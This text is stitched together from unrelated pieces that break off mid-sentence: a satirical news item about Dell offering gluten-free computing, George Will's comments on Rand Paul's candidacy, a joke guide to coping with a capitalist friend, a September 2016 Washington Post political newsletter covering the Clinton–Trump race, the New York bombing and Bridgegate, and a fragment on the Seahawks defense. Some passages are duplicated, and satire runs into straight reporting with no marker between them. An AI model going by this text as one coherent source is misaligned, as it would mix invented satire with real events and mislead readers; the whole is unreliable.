Chuck Scarborough of South Austin, after regaining control of himself, asked for a tissue. He then went on to say, “Dell is one of the greatest innovators on the planet. They’ve been down for a while, but with this they are BACK! I can’t tell you how long I’ve wanted a gluten-free computing experience!”. When asked if he had celiac disease, Chuck blankly looked at the reporter and asked what that was.
Other consumers displayed the same sheep-like reaction. Some indicated that this was a fantastic complement to their diet.
No animals were harmed in the creating of this article. Human livers were severely put to the test after dealing with the public.
Comments
commentsOn Tuesday’s Special Report, George Will said Kentucky senator Rand Paul has several strengths and weaknesses as a presidential candidate.
“His strengths are, among other things, that he has broadened the range of the discussable on foreign policy within the Republican Party and that’s healthy,” Will said. “He’s the candidate most apt to push back against the Caesarism that’s enveloped the presidency under Barack Obama, and occasionally he’s quite good on judges.”
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Will continued to explain that there are also several cons to Paul’s candidacy that could hold him back.
“His problems are: first, he’s a freshman senator,” Will said. “Second, events have not been kind to him because they’ve made foreign policy much more central than he would prefer it to be. Third, he’s trying to base his campaign on groups that don’t often vote Republican or vote at all; particularly youth.”
Will added that he noticed Paul’s campaign store was selling “Stand with Rand” flip flops online, and noted that, “It’s a bold politician that sells flip flops.”Are you worried that you are beginning to hate one of your friends or family members because they have told you that they are a Capitalist?
Ever heard of the term "capitalism"? Did you know that capitalism is what keeps Microsoft error reports from ever going away? Capitalism is an economic and political ideology supported by more people than you may think. Its origins started in the Dutch and British Empires and it takes many traits from these institutions such as a short period of meritocracy followed by family inheritance, a rigid class structure and an ignorance of global warming.
In this guide we hope to teach you how to deal with a scenario in which your friend declares he is capitalist. Unless you are at the local People's Democratic Republic Single-Party State rally at the time of the declaration, we advise that you do not simply murder your friend/family member and forget about them. Our simple step by step solution should help you stay on good terms with the person while slowly making him challenge his view to make sure he absolutely agrees with it.
Contents show]
Step 1: Understand that you don't have to agree with them Edit
Not everyone's a capitalist. Some people care about bankers' bonuses scandals in recessions. Some people question whether the idea |
with Supreme Court justices, Hillary can. Don’t let Hillary leave you protected by nothing but a phone.”
Watch the ad:
Half of the $5 million buy will go toward broadcast networks in rural Pennsylvania, North Carolina, Nevada, Ohio and Virginia – a few of which Trump needs to find a way to win. The other half will run on national cable, including Dish and Direct TV, which disproportionately serves rural communities.
The group hopes the spot will resonate with moderate women who feel vulnerable in the wake of recent terrorist attacks, from stabbings at a mall in rural Minnesota to explosions on a street in New York City.
The NRA’s advertising complements Trump’s recent scheduling decisions. He’s campaigning in many out-of-the-way places that have not received attention from presidential candidates in recent memory. Tonight, for instance, he will stump in Kenansville, North Carolina, a town of 850 where registered Democrats outnumber Republicans two-to-one. Knowing that Clinton can run up the score around Charlotte and Raleigh, he’s looking for record turnout in exurban and rural areas that have been buffeted by globalization and deindustrialization.
The NRA’s buy is meaningful because it comes as Clinton and her allies continue to massively outspend Team Trump on the air:
96.9% of ads scheduled thru election day pro-Clinton per Kantar. Wow. pic.twitter.com/KQWu0HgyNS — Bruce Mehlman (@bpmehlman) September 19, 2016
-- NRA leaders have gone all-in for Trump largely because of the Supreme Court. In 2008 and 2012, they waited to endorse until October. In 2016, they formally backed Trump in May. They say Second Amendment jurisprudence is especially fragile and fear any Democratic appointee to replace Antonin Scalia – including Merrick Garland – would inevitably roll back the 2008 decision in Heller vs. District of Columbia. The case was decided on a 5-4 vote, and Scalia wrote the majority opinion.
Trump often talks about gun rights during his stump speech, often courting controversy. Last month, he riffed on how "the Second Amendment people" could stop a President Clinton from overreaching.
Last Friday night, he said he’d love to see Clinton’s security detail disarm. “Let’s see what happens to her,” he said. (Many in the mainstream media said he raised the specter of violence.)
These comments closely echo years of NRA messaging: that Clinton is a hypocrite for not letting regular people protect themselves when she has armed guards.
The group backed up Trump in the face of widespread criticism after both incidents. Strategists say people in the heartland understand what he means in a way the “Morning Joe” audience cannot. “Hillary Clinton is an elitist, out-of-touch hypocrite who believes in one set of rules for her and a different set of rules for the rest of us,” said Chris Cox, executive director of the NRA’s Institute of Legislative Action.
-- Speaking of guns: Sen. Roy Blunt (R-Mo.) will go up today with a response to his opponent’s ad in which he builds a rifle. Democratic challenger Jason Kander said he supported background checks and preventing people on the terrorist watch list from buying guns. The incumbent’s response features clips of several people building rifles quickly, including his opponent. “But only one of these is a Hillary Clinton national campaign chairman,” a narrator says. “Only one received an F [from the NRA] … only one supports amnesty for illegal immigrants. When it comes to the U.S. Senate, Missouri voters know what’s important.” Outside groups on both sides continue pouring money into Missouri. The NRSC yesterday, for example, placed a $270,000 buy in the St. Louis market to help Blunt and said more money is on the way.
Watch the spot first in the 202:
Good morning from Carleton in Northfield, Minnesota – the city of cows, colleges and contentment -- and welcome to the Daily 202, PowerPost's morning newsletter. With contributions from Elise Viebeck (@eliseviebeck). (Sign up to receive the newsletter.)
Bill Clinton and George H.W. Bush at the Kennedy Center in 2011 (Kris Connor/Getty Images)
WHILE YOU WERE SLEEPING:
-- George H.W. Bush plans to vote for Clinton, according to a member of the Kennedy family. The 92-year-old's preference was revealed by former Maryland Lieutenant Gov. Kathleen Hartington Kennedy Townsend, the daughter of the late Robert F. Kennedy. "The President told me he’s voting for Hillary!!” she posted on Facebook, alongside a photo of the two together in Maine. A spokesman for Bush declined to confirm her statement, saying: "The vote President Bush will cast as a private citizen in some 50 days will be just that: a private vote cast in some 50 days.” (Politico’s Darren Samuelsohn)
-- On the flip side, two of the GOP’s biggest donors are falling in line. Via Matea Gold:
TD Ameritrade founder Joe Ricketts intends to give at least $1 million to a super PAC supporting Trump. During the primaries, Ricketts and his wife funded an anti-Trump super PAC.
intends to give at least $1 million to a super PAC supporting Trump. During the primaries, Ricketts and his wife funded an anti-Trump super PAC. Billionaire Sheldon Adelson and his wife shelled out at least $20 million to support congressional Republicans last month, a long-awaited cash infusion from the casino magnate.
GET SMART FAST:
The Justice Department is investigating the death of Terence Crutcher, an unarmed black man who was tasered and fatally shot by Tulsa police. Footage from the incident is very disturbing. (Peter Holley, Wesley Lowery and Derek Hawkins) Senate leaders pushed back votes on a stopgap spending bill to keep the federal government open beyond Sept. 30, seeking to buy more time as lawmakers negotiate differences on funding levels. (Kelsey Snell) Federal officials plan to aggressively regulate driverless cars in the U.S., issuing a spate of new guidelines that automakers must comply with. (Ashley Halsey III and Michael Laris) A humanitarian convoy was attacked while attempting to provide medicine and supplies to citizens in Aleppo, leaving at least 12 aid workers dead. U.N. officials are outraged at the strike, which was likely launched by the Russians or Assad’s regime. (Karen DeYoung and Erin Cunningham) President Obama met with Iraqi Prime Minister Haider al-Abadi for a strategy session in New York, hashing out plans to liberate the Islamic State stronghold of Mosul. Both leaders seemed optimistic after the talks, with Obama saying the efforts could move forward “fairly rapidly.” (Greg Jaffe) Paris authorities announced eight new arrests in connection with the Bastille Day terrorist attack in Nice that left 86 dead. Prosecutors said the suspects are all linked to the attacker, Mohamed Lahouaiej Bouhlel. All eight men are either Tunisian or French. (AP) Republicans on the House fetal tissue panel are seeking to hold a California firm that procures fetal tissue specimens in contempt of Congress, accusing the small biotech company of ignoring subpoena demands. Democrats call the move a “manufactured controversy" and say the GOP is being “McCarthyesque.” (Mike DeBonis) The U.S. government mistakenly granted citizenship to more than 850 immigrants from countries “of concern to national security” or with high immigration fraud rates, according to a new DHS audit. The feds reply that they are investigating the issues and pledged to review “every file” identified as problematic. (AP) Federal authorities in Mexico discovered a van that was outfitted with a homemade bazooka, apparently intended to launch packages over the U.S. border. (Lindsey Bever) OPM directed federal agencies to take further steps to protect their employees, especially those who are pregnant, from work-related exposure to the Zika virus, including by changing their work arrangements and by being flexible in granting tine off. ( Eric Yoder) At least 17 were killed in violent Congo protests, after the government sought to push back the country’s upcoming election. Rioters threw stones, set fire to vehicles and burned an officer alive. (AP) France became the first country in the world to ban plastic cutlery, outlawing all disposable utensils and plates from within its borders by the year 2020. The new law comes as part of a country-wide push towards greener, more environmentally-friendly forms of manufacturing. (James McAuley) Jim Carrey was sued for the wrongful death of his late girlfriend. The suit, filed by Cathriona White’s estranged husband, claims the actor supplied her with powerful prescription drugs she used to commit suicide last year. Carrey said in a statement that he “will not tolerate this heartless attempt to exploit me or the woman I loved." (Elahe Izadi) The Anti-Defamation League deployed representatives to Silicon Valley in an effort to combat online harassment aimed at Jews, especially on Twitter. (Buzzfeed) Sarah Palin sold her gated estate in Scottsdale. The former Alaska governor’s Tuscan-style, 8,000-square-foot home went for $2.275 million. (Los Angeles Times) A very sexually-active hooded tortoise in the Galapagos has been credited with saving his entire species from extinction. Researchers say he has fathered some 800 young – nearly half of every hooded tortoise currently in existence. (Cleve R. Wootson Jr.)
Christie's former deputy chief of staff, Bridget Anne Kelly, arrives in court for her trial. (Kevin R. Wexler/Northjersey.com via AP)
BRIDGEGATE:
-- Federal prosecutors said Chris Christie was told about the politically-motivated scheme that shut down the nation’s busiest bridge as it was happening, the first time officials have alleged in court that he knew about the plot as it was going on. From Katie Zezima and Matt Zapotosky: "The assertion came during the trial of two of Christie’s former aides, whom prosecutors accuse of hatching a plan to create a mammoth traffic jam on the George Washington Bridge to retaliate against Fort Lee Mayor Mark Sokolich for not supporting Christie’s reelection bid. During opening statements Monday in Newark, prosecutors said one of the former aides, William E. Baroni Jr., the former deputy executive director of the Port Authority of New York and New Jersey, and a third Christie associate, David Wildstein, a former Port Authority executive, informed the governor about the traffic shutdowns during a Sept. 11 memorial service in 2013. 'The evidence will show that... they bragged about the fact that there were traffic problems in Fort Lee and that Mayor Sokolich was not getting his calls returned,' Assistant U.S. Attorney Vikas Khanna said."
-- Trump issued a statement of support to the New York Times after the revelations: “I have known and liked Chris for 15 years. After his recent run for president, he called me to say that he would like to endorse me in that he sees a movement like he has never seen before. I was greatly honored, accepted his endorsement, and he has been a spectacular advocate ever since.” He made no mention of the trial or accusations against the governor.
-- Bottom line: If Trump wins, Christie (currently running his transition effort) will never become Attorney General. This will give Democrats another reason to block his nomination. Seriously, think about it: Which Democratic senators are going to cross party lines to vote for his confirmation?
DOMESTIC TERROR:
-- Police arrested the man believed to be responsible for this weekend's bombings in New York and New Jersey, charging 28-year-old Ahmad Khan Rahami with attempted murder of a police officer. He is expected to face further charges. Law enforcement and New York City officials said they do not believe Rahami operated as part of a terrorist cell, and they are not actively seeking any other suspects. But they said they had more work to do to determine what motivated him and if anyone helped. “We have every reason to believe this was an act of terror,” New York Mayor Bill de Blasio. More from Ellen Nakashima, Matt Zapotosky and Mark Berman:
The FBI said Rahami was not previously on the bureau’s radar.
A fingerprint from a cellphone that was recovered proved key to identifying him.
The pressure-cookers and pipe bombs, linked to cell phones, were constructed with “easily-bought,” unregulated materials. The amateur device, touted for years by al-Qaeda, has been used in multiple global attacks. (Sari Horwitz)
Obama, joined by U.N. Ambassador Samantha Power, speaks at the Lotte Hotel in New York. (Carolyn Kaster/AP)
-- Obama urged calm during a press conference, calling on Americans to remain vigilant but “not to succumb to fear." "At moments like this, I think it’s important to remember what terrorists and violent extremists are trying to do: They are trying to hurt innocent people, but they also want to inspire fear in all of us and to disrupt the way we live and to undermine our values,” he said. (Greg Jaffe)
-- The candidates’ responses were exactly what you’d expect: From Clinton, an appeal for steady leadership and presidential bearing, and for Trump, a get-tough message. From Anne Gearan, Sean Sullivan and John Wagner:
Trump suggested that racial profiling is necessary to counter the threat. “These attacks and many others were made possible because of our extremely open immigration system, which fails to properly vet and screen the individuals or families coming into our country," he said. He then asserted that police “know who a lot of these people are.” “They are afraid to do anything about it,” he continued, “because they don’t want to be accused of profiling.”
“These attacks and many others were made possible because of our extremely open immigration system, which fails to properly vet and screen the individuals or families coming into our country," he said. He then asserted that police “know who a lot of these people are.” “They are afraid to do anything about it,” he continued, “because they don’t want to be accused of profiling.” Clinton called for “resolve” in the fight against terror and said Trump is a recruiting tool for ISIS: "We know that a lot of the rhetoric that we’ve heard from him has been seized on by terrorists, including ISIS, because they are looking to make this a war against Islam,” she said.
-- HRC has opened an advantage on who is best to handle terrorism. Our most recent Post/ABC poll put him 9 points behind Clinton on the question of which candidate would "do more to make the country safer and more secure." A recent Fox News survey showed Clinton turning a 12-point deficit among registered voters on "terrorism and national security" from May into a 3-point advantage in August -- even as the race tightened overall. (Aaron Blake)
-- Terrorism will come up at the first debate, six days from now. NBC anchor Lester Holt released a list of three subjects he will focus on next Monday night. They are “America's Direction," "Achieving Prosperity" and "Securing America.” Note that these are intentionally broad categories, which gives the moderator a freer hand. There will be six, 15-minute segments. Two 15-minute segments will focus on each of the three topics. The 90-minute debate starts at 9 p.m. ET.
Clinton meets with President Petro Poroshenko of the Ukraine and his staff in Manhattan. (Melina Mara/The Washington Post)
THE DAILY HILLARY:
-- Obama is approaching the presidential campaign with a new sense of urgency and concern, changing his tone amid a growing realization that Trump’s defeat is not inevitable. From Greg Jaffe and Juliet Eilperin: “Obama’s change in tone is... an acknowledgment of some of Clinton’s weaknesses.... White House officials have privately fretted about some of Clinton’s recent missteps... [Now], in remarks in recent days, Obama has cast the election as central to his legacy, essentially placing himself on the ballot with Clinton."
-- Trolling Trump, Clinton met with the president of Ukraine (one of Vladimir Putin's biggest antagonists). Russia annexed Crimea two years ago, and the countries skirmish almost daily. Ukrainian officials said they invited HRC to meet with Petro Poroshenko. (Both candidates met with Egyptian President Abdel Fatah al-Sissi on the sidelines of the U.N. General Assembly.)
-- Appearing on NBC's "Tonight Show," Clinton accused Trump of having a “bromance” with Putin. Host Jimmy Fallon jokingly presented Clinton with a bagful of things he said Trump had left behind after his appearance last week on the same program. Among them: a photo of Putin in a heart-shaped frame. “The most famous bromance going, right?,” she quipped. (John Wagner)
-- Clinton has penned an open letter to Wells Fargo customers who were victims of its “widespread illegal practices,” vowing to address bank misconduct as she slammed the company for opening fraudulent accounts. Wells Fargo CEO John Stumpf testified today before the Senate Banking Committee. "He owes all of you a clear explanation as to how this happened under his watch," Clinton writes in the statement. "There is simply no place for this kind of outrageous behavior in America."
-- Tim Kaine told voters in Iowa that one of his own children supported Bernie Sanders over Hillary in the Democratic primary as he urged millennials to rally around the ticket. “Hey, we’re a big family on the Democratic side,” Kaine told the audience at Iowa State University. (John Wagner)
-- Bill Clinton delivered opening remarks at the 12th Clinton Global Initiative session, bringing together government, philanthropic and corporate leaders for the organization’s annual three-day summit in New York. Clinton’s speech also served as a farewell address of sorts, coming weeks after he announced he will stepping down from the CGI board. “I think the way to end this is not on a nostalgia trip, but in doing what we set out to do, which is to keep going and push the ball forward,” he said during his remarks. (Abby Phillip)
-- Clinton campaign manager Robby Mook sent donors a memo outlining their paths to 270 electoral votes. “Hillary is nearly certain to win 16 ‘ blue' states, including Washington D.C., which will garner her 191 electoral votes,” Mook writes in the 2,000-word note. “If we add the five states that FiveThirtyEight.com gives Hillary a 70% or greater chance of winning (Michigan, Minnesota, Pennsylvania, Virginia, and Wisconsin), Hillary only needs 10 more electoral votes." (Politico’s Gabriel Debenedetti)
-- A new right-wing super PAC launched a $1.2 million ad campaign attacking Clinton’s health, invoking conspiracy theories that the Democratic nominee suffers from a mysterious illness. "C is for 'concussion,' a bump in December," the ad’s narrator says in a sing-songy voice. "C is for cough that's affecting her bid." “The spot, running just in Wisconsin, reflects how Clinton's stumble and brief respite from the trail mainstreamed a conspiracy theory that she is covering up severe health problems,” David Weigel writes.
-- Suburban women may be "Clinton's lifeline," the Wall Street Journal's Gerald F. Seib writes from north of Philly. "Says one Trump adviser flatly: ‘Suburban women will decide this election.’”
-- Inside Hillary’s struggles with younger black voters, via Buzzfeed’s Darren Sands: “Rashad Drakeford, a former White House aide, oversees the ‘Revolt 2 Vote’ initiative, which conducted research focused on young voters of color. Drakeford said the study found that among those who said they were not engaged in the election, half of the respondents said it was because they ‘couldn’t find truth in the noise of the media’s political coverage,’ and a third said it’s because ‘nothing will change regardless of who gets elected.’ ‘The biggest thing the Clinton campaign has to convey over these two months is ‘Why Hillary?’ without [the answer being] ‘Trump,’’ he said.”
Trump rallies in Ft. Myers, Fla. (AP/ Evan Vucci)
THE DAILY DONALD:
-- Paul Ryan met privately with Ivanka Trump in New York. A spokesman for the House speaker said yesterday's meeting was held at her request. An aide described the sit-down as a “productive conversation where Ryan spoke about his 2012 experience and Ivanka shared updates about her father's campaign.” (CNN)
-- Joe and Mika may be seeking to rekindle relations with Trump: The “Morning Joe” co-hosts Scarborough and Brzezinski visited Trump Tower last week, CNN Money’s Dylan Byers reports. The three discussed the possibility of conducting a "Morning Joe” interview, though nothing was finalized. The meeting comes after a summer of public feuding, with Trump tweeting a rumor last month that the two co-hosts are romantically involved.
-- More than 50 national security leaders called on Trump to disclose his overseas business dealings, saying in an open letter that the mogul’s overseas engagements could pose “significant conflicts of interest” if he guides U.S. foreign policy. Signatories include a number of former Bush administration officials. (CNN)
-- “Trump Charity Failed to Heed States’ Rules With Veterans Event,” by the New York Times's Peter Eavis: “He boycotted a televised debate in January, instead holding a high-profile charity event for veterans in Iowa that helped raise millions of dollars from donors around the country. But Mr. Trump’s charitable foundation … did not take a basic legal step that nonprofit experts say is required of charities when they hold fund-raisers that may draw donors from many states. Some 40 states require registration by charities raising money within their borders. But the [Trump Foundation] does not show up in the charity registers of 38 of those states.... The Clinton Foundation appears to be registered in nearly all the states."
-- The New Yorker’s Evan Osnos argues that Trump’s campaign tells us a lot about what kind of commander-in-chief he would be: “For more than a year, Trump has encouraged supporters to regard him as a work in progress—‘Everything is negotiable’—and the ambiguity has ushered him to the threshold of power. But envisaging a Trump Presidency has never required an act of imagination; he has proudly exhibited his priorities, his historical inspirations, his instincts under pressure, and his judgment about those who would put his ideas into practice. In the early decades of this century, Americans have sometimes traced our greatest errors to a failure of imagination: the inability to picture a terrorist, in a cave, who is able to strike; the hubris to ignore extensive State Department predictions of what would come of the invasion of Iraq. Trump presents us with the opposite risk: his victory would be not a failure of imagination but, rather, a retreat to it—the magical thought that his Presidency would be something other than the campaign that created it.”
THE BATTLEGROUNDS:
-- Zignal Visual: Obamacare is taking center stage again in the battle for the Senate. In seven of the most competitive Senate battles this year, our analytics partners at Zignal Labs see the Affordable Care Act taking center stage. Used mostly as a line of attack against Democrats, discussion over the health care law continues to dominate in battleground Senate races. Here's a look at the top issues in tweets and stories that mention Democrats and Republicans, respectively, in the seven top US Senate races:
-- A Monmouth University poll of GEORGIA shows Trump up just 3 points (45-42).
-- Florida is gonna Florida, explains Democratic operative Steve Schale (who directed Obama's 2008 victory in the state): “It has been close since 1992, and it will be close in 2016, 2020, and 2024.” Still, he believes Clinton has a narrow edge there for two reasons:
Demographics: “The state is getting more diverse, and while that doesn’t guarantee her a win, it does give her a cushion. Based on growth alone, Obama’s 0.9 percent win in 2012 is probably worth closer to 1.2-1.5 percent in 2016, simply based on demographic trends. She has a cushion to bleed a little among whites and still win."
“The state is getting more diverse, and while that doesn’t guarantee her a win, it does give her a cushion. Based on growth alone, Obama’s 0.9 percent win in 2012 is probably worth closer to 1.2-1.5 percent in 2016, simply based on demographic trends. She has a cushion to bleed a little among whites and still win." Organization: “This is where the Clinton operation will reap its investment. By registering voters, and turning out more of the lower propensity Black and Hispanic voters, her campaign can capitalize on the demographic advantages. Organizations are like kickers in football — they aren’t vital in blowouts, but you better have a good one in a close game, and they are building an organization designed to win a close election.”
-- Case in point: “Trump’s Phantom Florida Ground Game,” by the Huffington Post’s S.V. Date: “In a downtown office building, the Duval County Republican headquarters for the fall elections, stands a life-size cutout of Trump. Unfortunately for the GOP presidential nominee, that’s about the extent of the Trumpiness to be found there. Staff members point visitors toward a different office a few miles away... But there, the situation is even worse.” The strip-mall office is “not quite open,” although the woman who identified herself as Trump’s office manager said it would be within days ― as soon as the air conditioning problems had been sorted out and furniture and equipment could be delivered.”
-- More than one-third of Americans will have already voted for president before Nov. 8. "Building on the ground-game innovations of Obama’s two successful efforts, Clinton’s campaign has reshuffled its entire org chart with the election timetable in mind," per Bloomberg's Sasha Issenberg. "Trump’s team, meanwhile, contends he is a nontraditional candidate -- relying on down-ballot Republicans to pick up the heavy lifting.”
Style reporter Monica Hesse spends the night inside The Trump International Hotel. (Marvin Joseph/The Washington Post)
WAPO HIGHLIGHTS:
-- The Post’s Monica Hesse reviewed her $805-a-night stay at D.C’s new Trump Hotel – and found a mostly empty hotel filled with gawking tourists. “This lookie-looing happens at other swanky hotels: the Four Seasons, the Ritz, or the Plaza … where [tourists] … line up for the high tea experience,” she writes. “But it happens in a different way at the Trump International, where the luxury is tied not to a brand but a man, and where that man professes to be both a man of exquisite tastes and a man of the people. A man who not only accepts that his supporters wear baseball caps indoors but, since announcing his candidacy, does so himself … The lookie-loos at the Trump International have not put on their Sunday best to roam around one of the ‘great hotels in the world.’ They’re in fanny packs and sports jerseys, capri pants and Naturalizers. Trump has said he is a populist, and his heart-stoppingly expensive hotel at times has the casual vibe of the amusement park you’d drive one hour to visit but not two. Six Flags Trump, the spiritual home of the carnival-barker presidential candidate.”
Dahir Adan was born in Africa but had lived in the United States for 15 years. His father identified him as the assailant in the St. Cloud, Minnesota, mall stabbing attack that wounded nine people. (AFP)
-- “An unassuming life before a suspect’s rampage in a Minnesota mall,” by Abigail Hauslohner and Drew Harwell: “Nothing seemed awry when Dahir Adan told his family that he was going out to buy an iPhone on Saturday night. It’s unclear what time he put on a security guard’s uniform like the one he wore while working a previous job at a nearby appliance factory. And it’s unclear what was going through the 20-year-old’s head when he walked into a shopping mall in the small Minnesota city where he’d grown up, wielding a knife.” As officials investigate the Saturday stabbing rampage, they are also attempting to understand what could have driven a young Somali-American man who had been in the U.S. since he was a toddler, to commit such an act of violence. “Community leaders say the ethnically diverse high school has one of the largest Somali student populations in the area. But bullies sometimes pick on the Somali students … [who have reported being] called ‘ISIS” or ‘terrorist.'... 'This is what drives some of this anger sometimes,’ one community leader said."
SOCIAL MEDIA SPEED READ:
This picture is taking off on Facebook:
Donald Trump Jr. provoked an online firestorm after sharing an image that likened Syrian refugees to pieces of candy:
This image says it all. Let's end the politically correct agenda that doesn't put America first. #trump2016 pic.twitter.com/9fHwog7ssN — Donald Trump Jr. (@DonaldJTrumpJr) September 19, 2016
Trump’s analogy is “at best disconcerting and at worst offensive,” Philip Bump explains. Most of all, it is patently untrue: According to a Cato Institute study, the annual risk to an American of being killed by a refugee in a terror attack is 1 in 3.64 billion. “In other words, for every 10.92 billion years that Americans live -- one Skittle, if you will -- refugees will kill an American in a terror attack in three,” Bump writes. “An actual Skittle is about 1 centimeter squared by about a half a centimeter tall (or thereabouts). Setting aside questions of stacking the oblong Skittles in this very large bowl by assuming each will occupy two-thirds of that volume, we're talking about one-and-a-half Olympic swimming pools of Skittles. And in that pool: Three poison Skittles. So how many handfuls could I grab before I got one that's poisoned? Specifically, about 68.7 million.”
Here's how Skittles responded:
As Donald Jr. tweeted, this was the scene in London. Some 2,500 lifejackets worn by refugees who made the sea crossing from Turkey to the Greek island of Chios were displayed in a "Lifejacket Graveyard" in Parliament Square.
(Matt Dunham/AP)
Rick Perry seems to be enjoying himself on ABC's "Dancing with the Stars":
What... exactly happened on DWTS tonight? pic.twitter.com/CZyX3kNAbL — Patrick Svitek (@PatrickSvitek) September 20, 2016
there are magical things in this world. this gif is one of them. pic.twitter.com/5Mv2sYMO3r — Olivia Messer (@OliviaMesser) September 20, 2016
Willie Nelson's wife posted this picture of Virginia Gov. Terry McAuliffe over the weekend. If you look closely, you can see marijuana in the photo:
Asked about the marijuana by the Richmond Times-Dispatch, McAuliffe spokesman Brian Coy said the governor stopped by Nelson’s bus while thanking several performers at Farm Aid 2016, an annual festival meant to benefit family farmers. Coy said McAuliffe, who opposes marijuana legalization, visited Nelson for 10 minutes or less and “had no idea” what else was on the bus. “He was not and still is not aware of whatever was on the table or anywhere around him and wouldn’t know marijuana or related paraphernalia if it walked up and shook his hand,” Coy said. “He’s cool, but he’s not that cool.”
Trump asked how Rahami "got through the system":
Once again someone we were told is ok turns out to be a terrorist who wants to destroy our country & its people- how did he get thru system? — Donald J. Trump (@realDonaldTrump) September 19, 2016
Lindsey Graham said the suspect should be transferred to military custody:
Lindsey Graham says suspected Chelsea bomber should be placed in military custody and interrogated without lawyer, Miranda warning pic.twitter.com/EElCwTaafn — Charlie Savage (@charlie_savage) September 19, 2016
Here's how he put it on Twitter:
I hope the Obama Administration will consider holding Ahmad Khan Rahami as an enemy combatant for intelligence gathering purposes. — Lindsey Graham (@LindseyGrahamSC) September 19, 2016
The suspect, based upon what we know, clearly is a candidate for enemy combatant status. #Rahami — Lindsey Graham (@LindseyGrahamSC) September 19, 2016
Seeming disappointed, Trump said the "evil thug" will get "room service," legal representation and medical treatment (click to watch):
Trump: "Evil thug" suspect will likely get "room service"
Gov. Cuomo: "We have a system of jurisprudence" in the US https://t.co/66BZmIHIBu — CNN (@CNN) September 19, 2016
A few reactions to that position:
One of Donald Trump's core complaints seems to be that America is too much of a civilized, rules-based country. — Jeffrey Goldberg (@JeffreyGoldberg) September 19, 2016
As in, they will feed him in his cell? Probably true. https://t.co/HRroPjeZ7q — Josh Barro (@jbarro) September 19, 2016
Check out part of this tweetstorm from #NeverTrump GOP strategist Patrick Ruffini on why so many Republican consultants aren't backing Trump:
The consultant's job is to be the voice of the median voter in the party and at the campaign strategy table. — Patrick Ruffini (@PatrickRuffini) September 19, 2016
I'm a conservative. And I demonstrate my loyalty to conservatism by making sure our ideas can sell to young people and Latinos. — Patrick Ruffini (@PatrickRuffini) September 19, 2016
Trump does not help conservative ideas sell to swing voters in any way, shape or form. This is unfixable. So I have no problem ditching him. — Patrick Ruffini (@PatrickRuffini) September 19, 2016
Rates are apparently down at Trump's hotel in D.C.:
.@trumpdc already having to discount rooms to money-losing $376/night on Priceline less than week after opening. Sad! — (((tedfrank))) (@tedfrank) September 19, 2016
One store in Illinois is using Colin Kaepernick's jersey as a floor mat because he won't stand for the National Anthem:
Look at what Beds Store in Crestwood uses as a doormat "feel free to wipe your feet" pic.twitter.com/NBGGauuQ9p — Mary Ann Ahern (@MaryAnnAhernNBC) September 19, 2016
This is what a New York Republican congressman had to say after the bombing suspect was captured:
Suspect in custody. You are welcome Colin Kaepernick. — Lee Zeldin (@leezeldin) September 19, 2016
GOOD READS FROM ELSEWHERE:
-- Politico, “Was the Terror Coverage More Explosive Than the Bombs?” by Jack Shafer: “In a rational world, we would interpret the inept crimes of accused pipe bomber Ahmad Khan Rahami as evidence that 15 years after the big one, the terrorist threat in America is akin to a brush fire—the kind of thing that inevitably flares up and causes some damage before the experts put it out. Instead, thanks to the cable news channels and some in the Web and print space, we’ve turned it into a mighty conflagration. In the current atmosphere, every terror-motivated crime has come to feel like a dire assault on the homeland, exploding in the news with much more success than the actual bombs involved. The fact is, everywhere you look in modern life, we’re safer. [But] the paradox of all this safety is that it ends up making a lot of us feel all the more unsafe when we’re reminded that random tragedies do happen—and to clamor for an even bigger airbag when they do, even though the rational mind tells us we’ve reached a diminishing point of returns on that investment.”
HOT ON THE LEFT: “Gun inequality: US study charts rise of hardcore super owners,” from The Guardian: “Americans own an estimated 265 million guns, more than one gun for every American adult, according to the most definitive portrait of US gun ownership in two decades. But the new survey estimates that 133 million of these guns are concentrated in the hands of just 3% of American adults – a group of super-owners who have amassed an average of 17 guns each.” The Harvard/Northeastern survey estimates that America’s gun stock has increased by 70 million guns since 1994. HOT ON THE RIGHT: “Republican friendships shatter over Trump,” from The Hill: “A few months ago, Matt Schlapp, the former White House political director under President George W. Bush [who organizes CPAC], walked into a cocktail party and tried to join a conversation with Republican consultants he has known for years. ‘The conversation quickly ended,’ Schlapp [said] … ‘It’s one of those moments when you wonder, ‘Hey, do I have something on my face?’’ Schlapp’s decision to support Trump for president has cost him friends in Washington’s elite Republican circles. He’s hardly alone. Old allies in Washington … are no longer on speaking terms because one backs Trump … Divisions have run so deep in some cases that they could take years to heal. ‘It’s personal. It’s painful. It’s people you grew up with,’ he added. ‘When those relationships break, it’s really heartbreaking.’”
DAYBOOK:
On the campaign trail: Trump is in High Point and Kenansville, N.C.; Pence is in Williamsburg, Va.
At the White House: Obama speaks to the plenary session at the United Nations General Assembly in New York this morning. Then he holds a bilateral meeting with President Muhammadu Buhari of Nigeri and pays courtesy calls to General Assembly President Peter Thomson of Fiji and UN Secretary-General Ban Ki-Moon. In the afternoon, the President will attend a luncheon hosted by Ban Ki Moon. Later in the afternoon, the President will attend a CEO roundtable. Afterward, the president will participate in a Refugee Summit family photo and meeting. In the evening, the President will deliver remarks at a reception for foreign heads of delegations to the General Assembly. POTUS will overnight in New York.
Joe Biden speaks at a DCCC fundraiser in NYC before bilateral meetings with Prime Minister Alexis Tsipras of Greece and President Petro Poroshenko of Ukraine, and participates in the Leaders' Summit on Refugee's at the United Nations General Assembly.
On Capitol Hill: The Senate meets at 10 a.m. to work on the motion to proceed on the legislative vehicle for the short-term CR. The House meets at 2 p.m. for legislative business, with votes on 34 suspension votes postponed until 6:30 p.m.
QUOTE OF THE DAY |
vaunted secondary looks ripe for the picking this season.
3) The defense is still adjusting to new coordinator Kris Richard.
A unit often takes on the personality of its coach -- so it is not surprising that the Seahawks' defense looks like a work in progress at this stage of the season, with the 35-year-old Richard having spent the previous five seasons tutoring the defensive backs. Although he is certainly ready for the role after developing one of the top defensive backfields in the NFL, Richard is undoubtedly working through growing pains as a play caller.
From understanding the nuances of organizing and developing game plans to putting his personal stamp on the philosophy of the defense, Richard is learning on the fly while attempting to live up to the standards set by predecessors Dan Quinn and Gus Bradley. He must step up and show his peers that he understands how to adapt to his personnel while making adjustments to the tactics opponents are using to exploit the vulnerable areas in coverage. Additionally, Richard must demonstrate the ability to anticipate the opponent's next move and make calls to neutralize their counter-tactics in the middle of games. The best play callers in the game are always one step ahead of their opponents. Richard must exhibit a mastery of his scheme and provide suitable answers to the problems that have popped up in the fourth quarter of their recent losses.
